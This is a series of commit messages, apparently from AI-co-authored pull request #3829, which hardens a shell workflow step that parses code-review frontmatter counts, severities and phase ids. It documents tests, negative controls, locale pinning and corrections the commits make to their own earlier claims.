  `[A-Z]`, and the shell literals remain digit-only. Driven: this step
  and both callers all refuse `23A.1`, so they agree with each other and
  are jointly narrower than `src/phase-id.cts`. That is a question about
  the six sites rather than about this step, and it is not touched here.
- **#4619 does not produce N-segment ids.** It only transforms an
  already-supplied `{phase_number}` so `$((10#...))` does not abort on
  one. An earlier draft cited it as the producer; that is withdrawn, and
  is stated rather than silently swapped so a reader can see it was
  corrected.
- That the folded `case` arm is *why* nothing caught this is an
  observation about the test's shape, not an established cause.

## Tests

- `an N-SEGMENT phase number reports counts, exactly as its callers
  accept it` — drives `23.1.2` **and** `1.2.3.4`: the retired guard was
  arity-shaped, so a bound merely moved from two dots to three would pass
  a three-segment-only test.
- `the length bound is PER COMPONENT, not over the whole tail after the
  first dot` — drives an 8-char and a 9-char **middle** segment, the
  position the old form got wrong.
- `the fence agrees with its callers across a probed set spanning both
  boundaries` — example-based, and says so: a finite probe cannot prove
  congruence over an infinite language, and one review pass demonstrated
  that by injecting a `2) _ok=0` arm this test still passed. It is a
  regression pin over the values that actually broke.
- The traversal list loses `1.2.3` (legal at this base) and gains `1..2`
  and `1.2.` — the malformed-dot cases the arity guard had masked.

**Negative controls, re-measured against reconstructed fences:**

    fence state              N-seg   probed   per-comp
    fully pre-fix            FAIL    FAIL     FAIL
    shape-fix only           PASS    FAIL     FAIL
    this tree                PASS    PASS     PASS

Two tests, not one, catch Defect 2: the caller-agreement probe includes
`1.1234567.1`, so the whole-tail bound breaks it too. An earlier draft
claimed the per-component test failed alone — that table was written
before `1.1234567.1` was added to the probe and was not re-measured
afterwards. It is corrected here from a fresh run. The N-segment test
correctly does not fire on Defect 2; it predates the bound work and is
insensitive to it.

Found by this round's own adversarial review passes.

* docs(#3829): name this step's two dispatchers correctly, in code as well as in the PR body

`code-review.md` is not a call site of this step. It carries an identical
`^[0-9]+(\.[0-9]+)*$` validator, which is why it kept getting cited as one, but
it never dispatches `code-review-disposition.md`. The two dispatchers are
`execute-phase.md` (`code_review_gate`) and `code-review-fix.md`
(`record_disposition`) -- and only the second validates anything.

This round corrected that in the PR body and simultaneously wrote the old
conflation into the shipped comments, so the file asserted at line 24 what the
body denied in public, and contradicted its own line 48. Four false assertions,
each duplicated because the fenced block is emitted twice:

- "Both callers explicitly accept ... (code-review.md:63, code-review-fix.md:39)"
- "#4568 widened both of this step's callers" -- it widened the one that
  validates; the other has no validator to widen
- "Both callers already validate ... (code-review.md:63, code-review-fix.md:39)"
- "a SHAPE (..., asserted by both callers)" -- asserted by one

The same conflation had propagated into three comments in
`code-review-pipeline-regression.test.cjs`; corrected there too.

Adds the one fact that follows from naming the dispatchers correctly and that
nothing else in the tree records: `execute-phase.md` applies NO shape gate, so
this fence is not mirroring an upstream guarantee -- it IS the guarantee. A
later reader who believes the caller validates will "simplify" it away.

Comments only. The executable shell is byte-identical to 03adf9474 (verified by
stripping comment lines and diffing). 200/200 regression + property, 47/47
prompt-injection security scan, eslint and lint:generated-sync clean.

The wider [A-Z]-axis divergence between these sites and the canonical
`PHASE_NUMBER_TOKEN_SOURCE` is tracked separately as #4660 and deliberately not
restated here.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Xdw628PpLYveWfJu7kDyvZ

* chore(#3829): regenerate the two conflicted generated artifacts after the rebase onto next

Both conflicted during the replay onto `eb49ff98d` and were resolved arbitrarily, then
regenerated with their own producers (`npm run regen:derived`,
`node scripts/benchmark-compact-content.cjs --write`) rather than hand-merged. Reconciled
against next's committed copies: the conformance tier differs by the one entry this PR
adds, the benchmark baseline by the `execute-phase` split (the same 17-token delta this
PR's step-file extraction has carried since round 5) plus the aggregate that sums it. The
rest of the derived sweep — 19 install-tree goldens, INVENTORY-MANIFEST, FEATURES, the
macOS tier, the exit-code registries — regenerated byte-identical.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01U9FANs6AXuXNa7fCSahTQe

* fix(#3829): a carried row keeps the severity the ledger recorded, instead of re-inferring it from the prefix

The ledger always wrote a severity for every row (table cell and frontmatter key) and
nothing read either back: the prior-row regex skipped the cell as `[^|]*`, the frontmatter
walk collected only titles, and a carried row was rebuilt through sev() from the id prefix,
because sectionSev holds only the findings the CURRENT review reports. So a WR-04 the
reviewer filed under `## Critical Issues` was recorded critical, a human deferred it, and the
next run -- the review no longer reporting it -- silently re-recorded it warning. The one
artifact whose purpose is remembering a finding's severity lost it on the second run, in the
unsafe direction (round 11, reproduced by executing the shipped script twice).

Both persisted copies are now read back, enum-validated (ADR-227, as the disposition column
already is): the table cell first, the frontmatter `severity:` as the fallback for a
hand-mangled cell. Severity precedence is the current review's SECTION, then the RECORDED
value, then the id PREFIX, and the recorded value is inherited only while the id still names
the same finding -- the identity rule the disposition already obeys -- so a reused id starts
from its own review. sev() moves below sameFinding() because it now depends on it.

Tests: a new describe drives the reviewer's exact case (WR-04 under `## Critical Issues`,
deferred by hand, dropped by the next review -> stays critical) plus five controls: recorded
outranks prefix under no recognized section; the current section still outranks recorded; a
REUSED id does not inherit; a mangled cell falls back to the frontmatter and a mangled pair
to the prefix; a bare pre-severity row still infers. A fast-check property assigns each
finding a section independent of its prefix, carries every row through an empty review, and
asserts the section severity survives and the third run reports unchanged.

Negative control, measured against the pre-fix step: the two carry tests, the mangled-cell
test and the property fail; the three precedence/back-compat controls pass at both ends, as
they pin behaviour that predates the fix. Every prior carried-row test used CR-01/IN-01,
whose prefix already matched, so the lossy path had returned the right answer by coincidence.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01U9FANs6AXuXNa7fCSahTQe

* fix(#3829): a malformed REVIEW.md is reported as unparsed, not passed over as clean

A REVIEW.md with three criticals and an unterminated frontmatter yielded REVIEW_STATUS='',
and the counting arm then printed nothing -- byte-identical to a clean review. The guard
that scopes the frontmatter scan was right to yield no values from an unterminated block; the
reporting arm was wrong to treat 'no status' as 'no review'. Block 2 said `status: none`
rather than `clean`, which is why a careful reader could still separate them (round 11,
Minor).

Both fences now record whether the file was actually READ, separately from what it yielded.
A read file with no parseable status -- unterminated frontmatter, no frontmatter, no
`status:` key, a zero-byte file -- prints `Code review status unparsed: ...` with no
breakdown (there is none to trust) and no --fix suggestion (nothing proves there are
findings). Absent, directory and unreadable stay silent: nothing was read, so nothing is
described. Block 2's skip line names the same distinction, `status: unparsed` vs `none`.

The counts mirror follows the shell: a mirror is always handed a text, so its empty-status
arm is the unparsed one, and the existing 'unterminated frontmatter' and 'no frontmatter at
all' parity fixtures now bind the new message on both sides. The EMPTY-file test from round 9
changes its assertion deliberately: its observable is no longer identical to the missing-file
case, which is the point. Five new tests drive the arm, its three shapes, the three shapes
that stay silent, and block 2's wording.

Negative control, against the previous step: the unterminated, no-status, no-frontmatter and
empty-file tests fail, both parity fixtures fail (the mirror moved and the shell had not),
and block 2's `unparsed` assertion fails; the stays-silent controls pass at both ends.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01U9FANs6AXuXNa7fCSahTQe

* docs(#3829): name the unlocked read-modify-write and reference #3780 rather than solving it

The ledger is rendered whole from a prior read with nothing serializing two writers, and
this step has two dispatchers plus an invited hand-edit, so the window is real. It is the
shape #3780 reported for WINDOWS.md under parallel executors, which #4681 closed with a
cross-process lock in src/broken-windows.cts. Not taken here, deliberately: the step is a
shell-embedded script with no dependency on the compiled tree, and adopting the lock module
is its own change. Stated at the write site and as a residual in the feature doc; no lost
update has been reproduced (round 11, Minor).

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01U9FANs6AXuXNa7fCSahTQe

* docs(#3829): cross-reference the two "review disposition" ledgers in both directions

ADR-3806 canonizes a `## Review Dispositions Ledger` section inside PLAN.md for reviews-mode
planning: append-only per round, over REVIEWS.md findings. This PR's
`<NN>-REVIEW-DISPOSITION.md` is a sibling file beside REVIEW.md for the code-review pipeline,
rewritten idempotently with rows carried. Adjacent names, opposite durability rules, and
neither document mentioned the other -- the round-11 review checked the ADR gate against
3806, cleared it, and flagged exactly that mis-read hazard.

An in-place dated amendment section on ADR-3806 (contributor-standards "Amending an accepted
ADR", pattern 1) and a paragraph in the pipeline feature doc, each naming the other and the
axis on which they differ. docs/FEATURES.md regenerated.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01U9FANs6AXuXNa7fCSahTQe

* chore(#3829): regenerate the compact-content benchmark baseline after the rebase onto next

`next` moved three commits while the round was in flight and the baseline conflicted again;
resolved arbitrarily during the replay and regenerated with its own producer. It differs from
next's copy by the `execute-phase` split this PR has carried since round 5, plus the aggregate.
The rest of the derived sweep regenerated byte-identical.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01U9FANs6AXuXNa7fCSahTQe

* fix(#3829): accept letter-variant phase ids, matching the canonical grammar #4744 widened the dispatchers to

#4744 (#4660) landed on `next` while this round was in flight: it widened the six
shell/markdown phase-number mirrors -- `code-review-fix.md:39`, this step's validating
dispatcher, among them -- to the canonical grammar's letter axis (`12A`, `3A`, `23A.1.2`),
and added a `lint-phase-id-drift` ratchet that flags any digit-only mirror left in the
workflow tree. Rebased onto that base, this step was the one it flagged (two fences, two
sites): `12A` was refused by name and wrote no ledger, for a phase id its own dispatcher
now accepts -- the round-10 class ("the step refused phase ids its validating dispatcher
accepts") re-opened by the base. Found by running the base range's modified gates against
the rebased tree, not by the review.

Both fences now admit an uppercase letter in the character class and pin WHERE it may sit --
only as the last character of the integer part, at most once -- so `23a`, `A23`, `2A3`,
`23AB` and `23.1A` stay refused. The per-component length bound is on the DIGITS (the letter
is one character the `$((10#...))` overflow guard has no stake in, so `12345678A` is within
it exactly as `12345678` is), and the letter is carried verbatim after the padded digits,
`3A` -> `03A`, as `src/phase-id.cts` pads it. The two fences stay line-identical except for
their refusal message (the parity test holds), and every comment literal of the old shape
reads the canonical one.

Tests: a new fixture drives `12A`, `3A`, `23A.1.2` and `12345678A` through the shipped
fence to the padded path; the traversal-fence list gains the five wrong placements; the
caller-agreement probe's regex gains the letter axis with both-direction cases, and
`123456789A` joins the deliberate over-bound narrowing. Negative control against the
pre-widening step: the letter-variant test, the caller-agreement probe and the base's
`scanMarkdownLetterlessPhaseMirror` gate all fail; the traversal-fence test passes at both
ends (the five new placements were already refused, by the narrower class).

Also re-anchors the fence and test comments' `code-review-fix.md` / `code-review.md` citations by
content (the validator, not a line number): the line numbers had drifted by one against the rebased
base, and drift again on every rebase.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01U9FANs6AXuXNa7fCSahTQe

* chore(#3829): regenerate the two conflicted generated artifacts after the rebase onto next

Both files conflicted during the replay and were resolved arbitrarily rather than
hand-merged, then regenerated with their own producers — `npm run regen:derived`
and `node scripts/benchmark-compact-content.cjs --write`.

Reconciled against next's own committed copies rather than against the pre-regen
tree, because a clean textual merge of a pinned-number file attests the merge and
not the numbers:

- `tests/fixtures/compact-content-benchmark-baseline.json` differs from next by
  exactly the `execute-phase` split (offTokens 26264 -> 26200, onTokens 24013 ->
  23949) and the `aggregate` that sums it. That is the step-file extraction this
  PR has carried since round 5, re-measured against the new base; no other entry
  moved.
- `scripts/lib/platform-conformance-tier.generated.cjs` differs from next by
  exactly one added entry, `tests/code-review-fix-pipeline-regression.test.cjs` —
  the file the classifier picks from this PR's test set.

The full derived sweep was run, not just the two named producers: all 19
install-tree goldens, docs/FEATURES.md, docs/INVENTORY-MANIFEST.json, the macOS
tier and the exit-code registries regenerate byte-identical under the new base,
so nothing else drifted.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* fix(#3829): stop block 2 computing an unparsed shortfall from a self-contradicting findings block

Round 12, Minor. Confirmed, and the premise is slightly stronger than stated: block
2 does not merely skip block 1's `critical + warning + info == total` cross-check —
it never derived the three severity counts at all, so the check's inputs were
absent. It bounded `total` for digits and length only and handed it to the
`unparsed:` reconciliation.

So a REVIEW.md whose `findings:` block disagrees with itself (`total: 10` beside
`critical: 1, warning: 1, info: 1`) made block 1 print the countless form —
breakdown suppressed as untrustworthy — while block 2 still computed a shortfall
from that same untrusted number. Two trust models for one field, one fence apart,
with the weaker one downstream. It fails in the safe direction, which is why the
review did not raise it as a blocker; it is still a real inconsistency.

Block 2 now derives `critical`/`blocker`, `warning` and `info` through the same
`findings:`-anchored filter block 1 uses, with the same digit-and-length bound and
the same `10#` on every operand, and blanks `total` when the three disagree with it.

**Adapted, not applied verbatim — and the divergence is the point.** The finding
says to re-apply block 1's cross-check. Block 1's gate is `REVIEW_COUNTS_OK`, which
demands all four counts be numeric, because block 1 DISPLAYS all four and
`6 findings —  critical` is the half-filled line that rule exists to prevent. Block
2 displays none of them; it uses `total` alone, against the number of headings the
row parser matched. Applied verbatim, the all-four rule blanks a perfectly usable
`total: 5` on a review carrying no severity keys and SILENTLY DROPS an `unparsed:`
shortfall this step reports correctly today — trading a safe-direction over-report
for a silent under-report, which is the wrong way round and is the exact failure
class the `unparsed:` key was added to close. Only the CONTRADICTION ports: absent
counts are not a disagreement, because there is nothing to disagree with.

Driven against the shipped fence, not a mirror:

  consistent 1+1+1=3          -> total 3       CONTRADICTION total:10 -> withheld
  blocker: alternation        -> total 2       counts absent          -> total 5 (kept)
  leading zeros 01+01+01=03   -> total 03      one count absent       -> total 5 (kept)
  no findings block           -> withheld      non-numeric count      -> total 5 (kept)

Six regression tests drive the second markdown fence end to end through `runHook`
under bash, asserting on the rendered ledger. Negative controls fire in OPPOSITE
directions, which is what pins the narrowing rather than only the fix:

- revert the fence fix          -> `a contradicting findings block yields no
                                   shortfall` and the `blocker:` twin go red
- apply the VERBATIM all-four   -> `a total with NO severity keys still reconciles`
  prescription instead             and the partial/non-numeric case go red

Restored tree: 214/214.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* docs(#3829): state the one input that produces no unparsed shortfall

The reference page said the shortfall "is stated" whenever `total:` exceeds the
parsed headings. After the round-12 fix that is conditional, and a doc asserting
the unconditional form describes behaviour the step no longer has.

Names the boundary in both directions, because the narrowing is the part a reader
would otherwise get wrong: a `findings:` block whose three severities are all
present, numeric and do not sum to `total` produces no key — the same input on
which the console line already withholds the breakdown — while counts that are
merely absent, partial or non-numeric are not a disagreement and still reconcile
from `total` alone.

`docs/FEATURES.md` regenerated; `gen-features --check` green (182 features, 21
groups).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* fix(#3829): close two holes the round's own adversarial pass found in its first attempt

Neither is from the maintainer's review. Both were found by the pre-push adversarial
pass over this round's own claims, which refuted them by execution.

**1. A malformed severity could suppress a real shortfall.** The sibling frontmatter
reads use `cut -d: -f2 | tr -d ' '`, and `tr -d` deletes INTERNAL spaces, so
`critical: 1 0` arrives as the perfectly numeric `10`. That is long-standing in those
reads — its mirror is pinned as a fixture from round 1 — and it was INERT in block 2
until this round made that block read the severities at all. At that point a repaired
number could satisfy the new sum test and suppress an `unparsed:` shortfall that is
genuinely owed. Driven, pre-fix: `critical: 1 0 / warning: 0 / info: 0 / total: 5`
against three parsed headings emitted no `unparsed:` key where `unparsed: 2` was
correct.

The three severity reads now trim the ends only, so an internal space survives into
the digit check and fails it — `_sum_ok=0`, nothing is suppressed. Fail-safe in the
only direction that matters: when the frontmatter is malformed the step declines to
suppress rather than trusting a repaired number.

**Scope, stated:** only the SUPPRESSION inputs are strict. `REVIEW_TOTAL`'s own read
still uses `tr -d ' '`, unchanged and identical to block 1's — narrowing it would
change the `unparsed:` computation itself, which is pre-existing behaviour and wider
than this round. So `total: 1 0` is still read as `10` by both blocks, as before.

**2. The repointed #4748 gate could not see a later rebinding.** Its derivation slices
stop AT the first anchored assignment, so inserting the canonical lookup and then
overriding it with `REVIEW_FILE="${_pd}/WRONG-REVIEW.md"` left every assertion green —
the slice pins a line, not the path the fence actually consumes. A new test pins the
whole file instead: the only `REVIEW_FILE=` bindings permitted are the canonical
lookup (exactly twice, once per fence, each being a fresh shell) and the identity
pass-through that hands it to the embedded node script as an env prefix.

Negative controls, both the adversarial pass's own mutations, against the restored
tree at 215/215 and 164/164:
- restore `tr -d ' '` on the severity reads -> the internal-space test reds
- insert the WRONG-REVIEW override after the lookup -> the rebinding test reds

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* fix(#3829): one parser for every count block 2 reads, and widen the rebinding guard

A second adversarial pass, run against the first pass's own fixes, refuted three of
them by execution. Fixes to review findings are the class most likely to carry a new
defect, which is why that pass exists; all three were real.

**1. `cut -d: -f2` takes the SECOND FIELD, not the scalar.** So `critical: 1: junk`
arrived as the perfectly numeric `1`, and `1+0+0 != 5` was read as a contradiction
that SUPPRESSED a shortfall genuinely owed. The previous fix trimmed the ends but
still cut at the wrong place, so it closed the internal-space shape and left this one
open. `-f2-` keeps everything after the first colon; the malformed scalar stays
malformed and `total: 5` still reconciles.

**2. The deliberate asymmetry was wrong, and it FABRICATED.** The previous fix parsed
the severities strictly and left `total` lenient, on the reasoning that narrowing
`total` was out of scope. Driven: `critical: 5 0` with `total: 1 0` repaired only the
total to `10`, rejected the severity, skipped the contradiction check, and invented
`unparsed: 7` against three parsed headings. Both uniform policies behave sanely —
strict rejects the malformed total, lenient detects `50 != 10`. A field is either
trustworthy or it is not; parsing one leniently and its sibling strictly is the shape
that fabricates. Every count this block reads now goes through one parser.

**Scope, restated because it moved:** the previous commit said `REVIEW_TOTAL`'s read
was deliberately unchanged. That is no longer true and the reasoning behind it did not
survive contact — the asymmetry it protected is what produced the fabrication. Block
1's reads are still untouched; its own all-four gate runs over consistently-parsed
values, so it has no equivalent split.

**3. The rebinding guard missed an indented or exported assignment.** `^REVIEW_FILE=`
let both `  REVIEW_FILE=...` and `export REVIEW_FILE=...` through, and each executes
exactly like a bare one. The predicate now absorbs leading whitespace and an optional
`export` before the accept-list decides.

Driven after the fix, against three parsed headings:

  critical: '1: junk'  total: 5      -> total 5 kept, unparsed: 2 reported
  critical: '5 0'      total: '1 0'  -> total rejected, no unparsed key
  critical: '1 0'      total: 5      -> total 5 kept (unchanged)
  consistent / contradiction / blocker / leading-zero / absent — all unchanged

Negative controls, each the adversarial pass's own mutation, against 381/381:
- `-f2-` back to `-f2`            -> the second-colon test reds
- `total` back to lenient `tr -d` -> the fabricated-shortfall test reds
- an INDENTED rebinding           -> the rebinding guard reds
- an `export` rebinding           -> the rebinding guard reds

Residual, disclosed: a duplicate `critical:`/`blocker:` key is still resolved by
`grep -m1` taking the first match. Duplicate keys are invalid YAML and the same
first-match rule is long-standing in the sibling reads; detecting them is a wider
change than this round.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* fix(#3829): one parser for the whole step, and prove a contradiction from a partial sum

A third adversarial pass, run against the second pass's fixes. Three findings, plus
one this round's own negative control caught afterwards.

**1. An absent severity still bounds the sum from below.** Counts are non-negative,
so a missing one can only ADD: when the severities that ARE present already sum to
MORE than `total`, the block disagrees with itself whatever the absent value is.
Requiring all three before comparing missed that — driven: `critical: 4`,
`warning: 4`, no `info:`, `total: 5` reconciled against a total the present counts had
already refuted. The comparison is two-armed now: EQUALITY when all three are known, a
LOWER BOUND when they are not. An UNDERshoot stays reconcilable, because that is
exactly what the absent count explains.

**2. Block 1 now uses the same parser, so the console and the ledger cannot
contradict each other.** Tightening block 2 first left the two fences disagreeing about
the same bytes. Driven: `critical: 1 0` with `total: 1 0` repairs to 10 and 10, which
SUM — so block 1 reported `10 findings — 10 critical, 0 warning, 0 info.` from a
`findings:` block containing no such numbers, while the ledger recorded three rows and
no shortfall. Block 1's reads move to `cut -d: -f2-` plus an end-trim; both fences now
take the countless arm on that input. The counts mirror moves with them — its whole job
is modelling the shipped pipeline, and it modelled the retired one.

This is wider than the review's finding and I want that visible: the finding was about
block 2 alone. But a disclosed divergence between a console line and a ledger is the
confusion this PR exists to remove, so it is fixed rather than documented.

**3. `REVIEW_FILE+=-wrong` executes and was missed.** The rebinding guard matched only
`=`; `+=` appends (driven: `REVIEW_FILE=good; REVIEW_FILE+=-wrong` prints `good-wrong`).

**4. My first negative control for (2) was VACUOUS, and that is the reason for the new
`BLOCK 1 withholds a breakdown built from REPAIRED counts` test.** Reverting block 1's
parser left the suite green: on every fixture that existed both parsers landed on the
same arm, so parity could not see the difference. A SELF-CONSISTENT repaired breakdown
separates them, and the test pins it directly rather than through parity.

**Correction to the previous commit's claim.** It said moving `total` to a strict read
"changes nothing for a well-formed review". That is false: `total:\t5\t` is valid YAML
(`yaml.parse` returns 5) which the old `tr -d ' '` rejected and the new trim accepts.
The change is an improvement, not a no-op, and the claim was the wrong shape.

Also from the third pass's MISSED: the fixtures exercised malformed `critical` and
`total` only, so they did not pin the four-field symmetry the fix claims. Every field
now gets every malformed shape.

Negative controls, against the restored tree at 383/383 (220 in the pipeline file):
- revert block 1's parser        -> the repaired-counts test reds (was vacuous; now fires)
- revert the overshoot arm       -> the absent-severity contradiction test reds
- a `+=` rebinding               -> the rebinding guard reds

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* fix(#3829): finish the mirror update, and give status the same parser as the counts

A fourth adversarial pass. The important finding is that the PREVIOUS commit's mirror
update was HALF APPLIED, and the suite could not see it.

**1. The counts mirror was still on the retired parser.** That file carries TWO
helpers: `first`, used for `status:`, and `firstIn`, used for ALL FOUR counts. The
previous commit updated `first` and the comment above it, and left `firstIn` on
`split(':')[1].replace(/ /g,'')` — so the shipped block had moved to `-f2-` + end-trim
and the mirror had not, while the parity assertion stayed green.

It stayed green for the same reason this round's earlier negative control was vacuous:
on every fixture that existed, both parsers reach the COUNTLESS arm, so the rendered
message is identical and parity cannot see the divergence. Two fixtures now separate
them — `a self-consistent repaired breakdown` (10 == 10+0+0, so the retired parser
renders a full breakdown from a `findings:` block containing no such numbers) and
`tab-separated counts` (valid YAML the retired `tr -d ' '` made non-numeric). Reverting
`firstIn` reds both.

This is the same shape this PR's round-3 reply already recorded about itself: a fix
verified with a grep built from the strings just fixed. The region is checked by
reading it end to end now.

**2. `status:` kept the retired parser after the counts moved off it, and it is the
read where truncation costs most.** `cut -d: -f2` turned the valid YAML scalar
`status: clean:junk` into the bare `clean`, so an unusable status took the CLEAN arm
and suppressed BOTH the console report and the ledger. Driven, both parsers side by
side. The whole scalar matches no arm now, so the step reports. One parser for every
scalar this step reads, in both fences.

**Two claim corrections, no code change:**

- The previous commit implied block 1's console output was preserved for every
  well-formed review. It is not: `critical:\t1` is valid YAML that the retired
  `tr -d ' '` left non-numeric (countless form) and the trim now reads (full
  breakdown). That is an improvement, and the claim was the wrong shape. The
  `tab-separated counts` fixture pins it.
- "Block 1 and block 2 can no longer contradict each other about counts" was
  overstated. It is true of the PARSER, which is what changed. They can still differ
  when the body carries MORE findings than `total:` declares: the reconciliation
  reports a shortfall only, and the excess direction is deliberately clamped so a
  review under-declaring its own total cannot render `unparsed: -1` — pinned by the
  round-2 test `a total SMALLER than the rows is not reported as a negative shortfall`.
  That is pre-existing and out of this round's scope; stating it rather than widening
  scope again.

Negative controls, against the restored tree at 223/223 (387 across both files):
- revert the mirror's `firstIn`  -> both new parity fixtures red
- revert the `status:` parser    -> the clean-arm suppression test reds

`npm run lint:ci` exits 0.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* fix(#3829): pin the reads to LC_ALL=C, so the parser cannot depend on the machine

A fifth adversarial pass. It refuted the claim that the shipped reads and their JS
mirror are equivalent, and the counterexample is a locale.

**The POSIX character classes are locale-defined, and glibc's C.UTF-8 disagrees with
both C and en_US.UTF-8.** Driven, same sed, same input, three locales:

    LC_ALL=C          clean<U+2003>  ->  clean<U+2003>   (kept)
    LC_ALL=C.UTF-8    clean<U+2003>  ->  clean           (trimmed)
    LC_ALL=en_US.UTF-8 clean<U+2003> ->  clean<U+2003>   (kept)

C.UTF-8 classifies U+2003 — and U+1680, U+2000-U+200A, U+205F, U+3000 — as BOTH
[[:space:]] and [[:blank:]]. So `status: clean<U+2003>` trimmed to the bare `clean`,
took the CLEAN arm, and silently suppressed both the console report and the ledger —
but only on machines whose locale said so. That is the same suppression the previous
commit fixed for `clean:junk`, with a machine-dependent trigger instead of a parse one.

`[[:blank:]]` is NOT the fix — it is locale-defined too, and C.UTF-8 puts U+2003 in it
as well. Nor is `[ \t]`: POSIX bracket expressions provide no escape at all, so `\t` there is a
backslash and a `t`. GNU sed's default reading of it as TAB is an extension, and the
same GNU sed asked for conformance shows the other reading on this host:

    sed -E          's/[ \t]+$//'  draft  ->  draft
    sed --posix -E  's/[ \t]+$//'  draft  ->  draf

A POSIX-conforming sed is therefore expected to truncate `status: draft` to `draf`.
That expectation is derived from POSIX plus the `--posix` demonstration above; it was
NOT driven against a BSD/macOS sed, because this host has none. The portable
fix is to pin the locale: under C the class is exactly {space, tab, NL, VT, FF, CR},
which is precisely what the mirror already spells out literally. The two now agree by
construction rather than by coincidence of the machine.

All 20 read sites (10 `grep`, 10 `sed`, both fences) are pinned. The mirror's four
anchors move from JS `\s` to the same literal class, closing the divergence in the
other direction — `\s` matches a U+2003 indent that the pinned `grep` does not.

**A second gap, found by this round's own control rather than by the reviewer.** The
mirror has two helpers, and the previous commit proved `firstIn` (the counts) was
pinned by a fixture. `first` (the status) was NOT: reverting it left the suite green.
Every pre-existing status fixture left both parsers on the SAME arm — `issues:found`
truncates to `issues`, which is no more `clean` than `issues:found` is — so the status
mirror could drift unseen, exactly as `firstIn` had. The fixture that separates them
is one where truncation FLIPS the arm: `status: clean:junk`.

That is the third time this round a mirror edit was invisible to the fixtures that
existed, and the question that finds it every time is: what input actually separates
the two versions?

**Two prose corrections in the step**, which had gone stale rather than wrong-headed:
the block-2 comment still said "the sibling reads use `tr -d`" after they had all been
moved off it, and the mirror's class comment claimed an equivalence it did not yet have.

Negative controls, each driven against the committed tree:
- drop LC_ALL=C from the shipped seds  -> 5 red, incl. both locale-invariance tests
- revert the `first` status mirror     -> `a status whose truncation would flip the arm` reds
- revert the mirror anchors to `\s`    -> `locale-invariant on a unicode-space indented count key` reds

The locale-invariance tests are the durable guard: the parity fixtures only run under
whatever locale the suite inherits, so they can catch this only on a machine that
already has the bug. These drive the same input under both locales and assert the
shipped fence does not care.

238/238 across the two pipeline files. `npm run lint:ci` exits 0, with
lint-workflow-shellcheck reporting 212 pre-existing findings and 0 new.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* fix(#3829): pin the awk selectors too, and assert the invariant instead of claiming it

A sixth adversarial pass, and it refuted the previous commit's central claim. That commit
pinned all 10 `grep` and all 10 `sed` reads to LC_ALL=C and then said the parser no longer
depends on the machine. It does: the `findings:` MAPPING SELECTOR is an `awk`, and both
copies of it were left unpinned.

`awk '/^findings:[[:space:]]*$/{f=1; next} f&&/^[^[:space:]]/{exit} f'` resolves its two
character classes through the ambient locale exactly as grep's and sed's did. Driven, on
`findings:<U+2003>`:

    fence 1, LC_ALL=C        Code review found issues.
    fence 1, LC_ALL=C.UTF-8  Code review: 1 findings — 1 critical, 0 warning, 0 info.
    fence 2, LC_ALL=C        TOTAL=''
    fence 2, LC_ALL=C.UTF-8  TOTAL=1

Under C.UTF-8 the opener matched and the mapping opened; under C it did not. The same
review rendered a breakdown on one machine and the countless message on another, with
every grep and sed already pinned.

**Why it was missed is the more useful part.** The previous commit's census counted
`grep` and `sed` sites and reported zero unpinned — because it SEARCHED FOR THE TOOLS IT
HAD JUST EDITED rather than for the tools that were there. That is the same shape as this
round's other three misses: a check built from the thing just changed cannot see what the
change forgot. So this commit does not just add the fourth and fifth pins; it replaces the
claim with an assertion the next edit cannot fool:

  `every locale-sensitive tool in the step is pinned to LC_ALL=C` walks the step file and
  fails on ANY unpinned `grep`/`sed`/`awk`, naming line and call. `cut -d: -f2-` and
  `tr -d '\r'` stay exempt, and the exemption is principled rather than residual: neither
  resolves a character class or a collation — one splits on a single ASCII byte, the other
  deletes one literal byte.

The mirror's block boundary moves to the same literal classes, for the same reason the
anchors did last commit — `/^findings:\s*$/` and `/^\S/` model neither pinned side.

**A correction to the previous commit's message, made in place.** It asserted that BSD sed
reads `[ \t]` as a literal backslash and `t`, stated as driven fact. It was not driven —
this host has no BSD sed. The claim is now stated as what it is: POSIX bracket expressions
provide no escape, GNU's TAB reading is an extension, and GNU sed asked for conformance
demonstrates the other reading here (`sed --posix -E 's/[ \t]+$//'` turns `draft` into
`draf`). The conclusion is unchanged; the evidence class was overstated.

Also measured while establishing that LC_ALL=C is safe for non-ASCII, and worth recording
because it makes the pin a strict improvement rather than a wash: on a REVIEW.md carrying a
single invalid UTF-8 byte, GNU grep under C.UTF-8 reports `binary file matches` and emits
nothing, blanking EVERY read; under C the value parses and is rejected on its merits. Valid
UTF-8 is untouched either way — the C space class is entirely bytes < 0x80, which no UTF-8
multibyte sequence contains, so the trim cannot split a character.

Negative controls, each driven and restored:
